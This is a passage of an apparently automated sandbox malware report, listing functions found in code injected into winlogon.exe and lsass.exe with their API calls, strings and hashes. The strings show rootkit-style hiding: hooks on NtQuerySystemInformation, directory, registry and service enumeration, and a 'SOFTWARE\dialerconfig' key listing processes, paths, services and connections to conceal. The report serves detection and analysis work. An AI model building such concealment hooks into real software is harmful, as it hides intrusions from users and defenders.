Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 449c3b8d4a9707330a2244a19cbde2a29dd6a88ab94e040f38e9f4c0bfe6f638
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 5F110A36224B8182EB618F25F44439DB7E5FB88B94F584226EE8D47B69DF3CC551CB00

Function 000001E8589B7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B737C

Strings

riptor at (, xrefs: 000001E8589B7364
ierarchy Descriptor', xrefs: 000001E8589B7381

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 0e26cef9ba68d931c57e211af9cd086a3cc8b9350f618ba4ce6d2e1c4988f689
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2AE08671650B84D4DF018F21E8802DC73A4EF58B64B8891339D5C06311FE38D1E9C300

Function 000001E858957356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E85895737C

Strings

ierarchy Descriptor', xrefs: 000001E858957381
riptor at (, xrefs: 000001E858957364

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: b226c5ef1287e80dd1a639188cd00b7be9ee93c87761d6bca3fa593d7edb1d27
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 32E04F61660B84D0DB058F22E8412D873A09F58B64F8891229D5C06311EE38D1E9C300

Function 000001E8589B73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B73D8

Strings

riptor at (, xrefs: 000001E8589B73C0
Locator', xrefs: 000001E8589B73DD

Memory Dump Source

Source File: 0000001D.00000002.3310065596.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: ebbb92f6b71bc6aeecd0247755a998ea3fb1c1d57f03a5a9e81a6553625eb14e
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: FDE08C71A20B88C4DF028F21E8802DCB3A4EF68B68F889133CE4C06311EE38D1E9C300

Function 000001E8589573B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589573D8

Strings

riptor at (, xrefs: 000001E8589573C0
Locator', xrefs: 000001E8589573DD

Memory Dump Source

Source File: 0000001D.00000002.3309693197.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: d79e25d1bddce505cbefe66c1f7dc3f1dcce17b3d3d0eb5f19f21b045c52fa15
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 4AE0B661A61B88D4DB068F62E8912D8B3A5AB68B64FC89122DE5C56355EE38D1E9C300

Function 000001E858981BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981C2D
HeapAlloc.KERNEL32 ref: 000001E858981C3B
GetProcessHeap.KERNEL32 ref: 000001E858981C77
HeapFree.KERNEL32 ref: 000001E858981C85

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: bae03b9de4d8a0968d4e15549a5e41e9ffeeedaf31b7d182c916321c4c0c0085
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 4E113D35721BC5C1EA55DB66E8042ADB7A1FB89FC0F184036DE4D57765DE38C4428700

Function 000001E858981268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E85898126E
HeapAlloc.KERNEL32 ref: 000001E85898127D
GetProcessHeap.KERNEL32 ref: 000001E858981297
HeapAlloc.KERNEL32 ref: 000001E8589812A8

Memory Dump Source

Source File: 0000001D.00000002.3309828166.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: bf3232b7a1a84d483810c562108e731f4be810f9750f62d4ac0e33b9570d4307
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: D6E03935721684C6EB158BA2D80838ABAE2EB89B46F0480258D0907361EF7D8499C750

Analysis Process: lsass.exePID: 640, Parent PID: 7888COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	131
Total number of Limit Nodes:	10

Executed Functions

Function 00000140AE86253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000140AE862620
StrCpyW.SHLWAPI ref: 00000140AE862639

Strings

\\.\pipe\, xrefs: 00000140AE86262B

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 006047059f567fc424369bd4eaabb636d5541b44e56c09e15fbbbd16066aee87
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6E71173624078185EB26DF2BD8407EAA790F38D7A4F640126DF0D5BBA9DE34CE45C382

Function 00000140AE86202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000140AE8620C6

Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE862F27
Part of subcall function 00000140AE862F04: HeapAlloc.KERNEL32 ref: 00000140AE862F3A
Part of subcall function 00000140AE862F04: StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE863015
Part of subcall function 00000140AE862F04: HeapFree.KERNEL32 ref: 00000140AE863023

Strings

dialer, xrefs: 00000140AE8620BF
S, xrefs: 00000140AE8621E7

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 6995ce01178be5ec7128772deebd1550e485b351504c4b94060f668f1040f1af
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 6E51BE32B5572486EB62CB2BA8406EDA3F5F7087A4F249451DF0D13BA5DB35DC91C382

Function 00000140AE861A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000140AE861A60
StrCmpNIW.SHLWAPI ref: 00000140AE861A7A
lstrlenW.KERNEL32 ref: 00000140AE861A89
StrCpyW.SHLWAPI ref: 00000140AE861A9E

Strings

\\?\, xrefs: 00000140AE861A6E

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: c3158435ef4687b1766e3257663a9035ab9b0d40d8f3ba1c44d0f0f8ec37f8a1
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 7DF03C3274474192EB618B22E9847996760F74CBE9FA44020DF4D47979DE3DCA8DCB41

Function 00000140AE86328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000140AE8632AE
PathFindFileNameW.SHLWAPI ref: 00000140AE8632BD

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

Part of subcall function 00000140AE863790: GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
Part of subcall function 00000140AE863790: GetCurrentProcess.KERNEL32 ref: 00000140AE863809
Part of subcall function 00000140AE863790: VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

CreateThread.KERNEL32 ref: 00000140AE86330B

Part of subcall function 00000140AE861D14: GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 3ba806e3e51b1b0dcb359024cf54f050519727a8cf8c5b8b8f5a43b5e8428739
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: BA115E30A9478082F7639B23B9153D922D4B79C765FB041249F4E875B1EF78C844C2C2

Function 00000140AE861ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000140AE861628: GetProcessHeap.KERNEL32 ref: 00000140AE861633
Part of subcall function 00000140AE861628: HeapAlloc.KERNEL32 ref: 00000140AE861642
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861734
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86176F
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA

Sleep.KERNEL32 ref: 00000140AE861AD7
SleepEx.KERNELBASE ref: 00000140AE861ADD

Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861820
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE86185B
Part of subcall function 00000140AE861628: RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE861896
Part of subcall function 00000140AE861628: RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 326f40d2db6ff263f8e0a940b391fb73a78b65f37836ebd93bce5d4d1fbe3847
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 2631CC7128074181FF529B27DA513E963A5AB8CBE4F2858219F1E877B7EF34CC51C292

Function 00000140ADFC273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000140ADFC285E

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 06fb5e1ef4416040f010e1a7d6ba73e71e6e03eebacef6a42692c0d9d5c867cd
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 10610732B2179887DB65CF1690407AE7393FB58B98F688121DF5907BD4DA38D863E700

Non-executed Functions

Function 00000140AE862B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000140AE862BD0
lstrlenW.KERNEL32 ref: 00000140AE862E0A

Part of subcall function 00000140AE86199C: OpenProcess.KERNEL32 ref: 00000140AE8619C2
Part of subcall function 00000140AE86199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
Part of subcall function 00000140AE86199C: PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
Part of subcall function 00000140AE86199C: lstrlenW.KERNEL32 ref: 00000140AE8619FB
Part of subcall function 00000140AE86199C: StrCpyW.SHLWAPI ref: 00000140AE861A0E
Part of subcall function 00000140AE86199C: CloseHandle.KERNEL32 ref: 00000140AE861A1C

GetProcAddress.KERNEL32 ref: 00000140AE862BE5

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

Part of subcall function 00000140AE863844: StrCmpNIW.SHLWAPI ref: 00000140AE86385C

StrCmpNIW.SHLWAPI ref: 00000140AE862C28
lstrlenW.KERNEL32 ref: 00000140AE862D50

Strings

\Device\Nsi, xrefs: 00000140AE862C1B
NtQueryObject, xrefs: 00000140AE862BDB
ntdll.dll, xrefs: 00000140AE862BC9

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: bf2ef32ac57e5f465ce725a7a74baab9ea04f71ed1d086599ba6561ce8fa9f42
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 2AB19E72250B5486EB668F2BD4407E9A3A5FB48BA4F645066EF4D53BB5DF34CC40C382

Function 00000140AE867D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000140AE867DAC
RtlCaptureContext.NTDLL ref: 00000140AE867DD9
RtlLookupFunctionEntry.NTDLL ref: 00000140AE867DF3
RtlVirtualUnwind.NTDLL ref: 00000140AE867E34
IsDebuggerPresent.KERNEL32 ref: 00000140AE867E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE867EB4

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 1503c4d1f0e9a2face0525283fdd9087e61cbfeab21d2c89dc1035b309a16709
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 2131A372245B808AEB618F61E8407ED7361F788754F64442ADF4D47BA8EF38C948C790

Function 00000140AE86D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000140AE86D31D
RtlLookupFunctionEntry.NTDLL ref: 00000140AE86D335
RtlVirtualUnwind.NTDLL ref: 00000140AE86D370
IsDebuggerPresent.KERNEL32 ref: 00000140AE86D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000140AE86D3BE

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: f4b3617ef55b8c279f228a1357564ad9138b4f9cc27f1e8a361b5862f6d2fb0c
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 9C314E32654B8086EB619F26E8403DE73A4F789764F600125EF9D47BB8EF38C945CB81

Function 00000140AE861628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE861633
HeapAlloc.KERNEL32 ref: 00000140AE861642

Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE86126E
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE86127D
Part of subcall function 00000140AE861268: GetProcessHeap.KERNEL32 ref: 00000140AE861297
Part of subcall function 00000140AE861268: HeapAlloc.KERNEL32 ref: 00000140AE8612A8

RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616B2
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8616DF
RegCloseKey.ADVAPI32 ref: 00000140AE8616F9
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861719
RegCloseKey.ADVAPI32 ref: 00000140AE861734
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861754
RegCloseKey.ADVAPI32 ref: 00000140AE86176F
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86178F
RegCloseKey.ADVAPI32 ref: 00000140AE8617AA
RegOpenKeyExW.ADVAPI32 ref: 00000140AE8617CA
RegCloseKey.ADVAPI32 ref: 00000140AE8617E5
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861805
RegCloseKey.ADVAPI32 ref: 00000140AE861820
RegOpenKeyExW.ADVAPI32 ref: 00000140AE861840
RegCloseKey.ADVAPI32 ref: 00000140AE86185B
RegOpenKeyExW.ADVAPI32 ref: 00000140AE86187B
RegCloseKey.ADVAPI32 ref: 00000140AE861896
RegCloseKey.ADVAPI32 ref: 00000140AE8618A0

Part of subcall function 00000140AE8612BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE861327
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE861338
Part of subcall function 00000140AE8612BC: RegEnumValueW.ADVAPI32 ref: 00000140AE861397
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE8613ED
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86140A
Part of subcall function 00000140AE8612BC: HeapFree.KERNEL32 ref: 00000140AE861418
Part of subcall function 00000140AE8612BC: lstrlenW.KERNEL32 ref: 00000140AE861421
Part of subcall function 00000140AE8612BC: GetProcessHeap.KERNEL32 ref: 00000140AE86142F
Part of subcall function 00000140AE8612BC: HeapAlloc.KERNEL32 ref: 00000140AE86143D

Strings

tcp_local, xrefs: 00000140AE8617FE
tcp_remote, xrefs: 00000140AE861839
process_names, xrefs: 00000140AE86174D
udp, xrefs: 00000140AE861874
paths, xrefs: 00000140AE861788
service_names, xrefs: 00000140AE8617C3
startup, xrefs: 00000140AE8616D5
SOFTWARE\dialerconfig, xrefs: 00000140AE861692
pid, xrefs: 00000140AE861712

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 4cb465b735a6020238bf1ea048d5c89955278629e63a0cab2664c088472f563d
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 5771E736750B10C6EB129F66E8906D933A5FB89BA8F201121DF4E97B79DF38C844C781

Function 00000140AE8612BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE861319
GetProcessHeap.KERNEL32 ref: 00000140AE861327
HeapAlloc.KERNEL32 ref: 00000140AE861338
RegEnumValueW.ADVAPI32 ref: 00000140AE861397

Part of subcall function 00000140AE86152C: StrCmpIW.SHLWAPI ref: 00000140AE86155D

GetProcessHeap.KERNEL32 ref: 00000140AE8613DF
HeapAlloc.KERNEL32 ref: 00000140AE8613ED
GetProcessHeap.KERNEL32 ref: 00000140AE86140A
HeapFree.KERNEL32 ref: 00000140AE861418
lstrlenW.KERNEL32 ref: 00000140AE861421
GetProcessHeap.KERNEL32 ref: 00000140AE86142F
HeapAlloc.KERNEL32 ref: 00000140AE86143D
StrCpyW.SHLWAPI ref: 00000140AE86145F
GetProcessHeap.KERNEL32 ref: 00000140AE861476
HeapFree.KERNEL32 ref: 00000140AE861484

Strings

d, xrefs: 00000140AE86135A

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eaf29793312f880262aa33c4d225e9377ef8ac7c3781aeeffa93a87445d713dc
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: B5516C32640B8486EB56CF62E54839AB7A1F78DBA9F244124DF4D07B29DF3CC445C791

Function 00000140AE861D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000140AE861D1F

Part of subcall function 00000140AE861FD4: GetModuleHandleA.KERNEL32 ref: 00000140AE861FEC
Part of subcall function 00000140AE861FD4: GetProcAddress.KERNEL32 ref: 00000140AE861FFD

Part of subcall function 00000140AE865B30: GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B

Strings

NtEnumerateValueKey, xrefs: 00000140AE861DD6
EnumServicesStatusExW, xrefs: 00000140AE861E11, 00000140AE861E32
NtEnumerateKey, xrefs: 00000140AE861DB9
sechost.dll, xrefs: 00000140AE861E39
NtQueryDirectoryFileEx, xrefs: 00000140AE861D9C
EnumServiceGroupW, xrefs: 00000140AE861DF0
NtDeviceIoControlFile, xrefs: 00000140AE861E56
NtResumeThread, xrefs: 00000140AE861D62
NtQuerySystemInformation, xrefs: 00000140AE861D45
NtQueryDirectoryFile, xrefs: 00000140AE861D7F
advapi32.dll, xrefs: 00000140AE861DF7, 00000140AE861E18
ntdll.dll, xrefs: 00000140AE861D2D

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 2267be31c3c8b37de2fa04f2787d19f37c5545ab8d6e24567a23a1f44e334d39
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
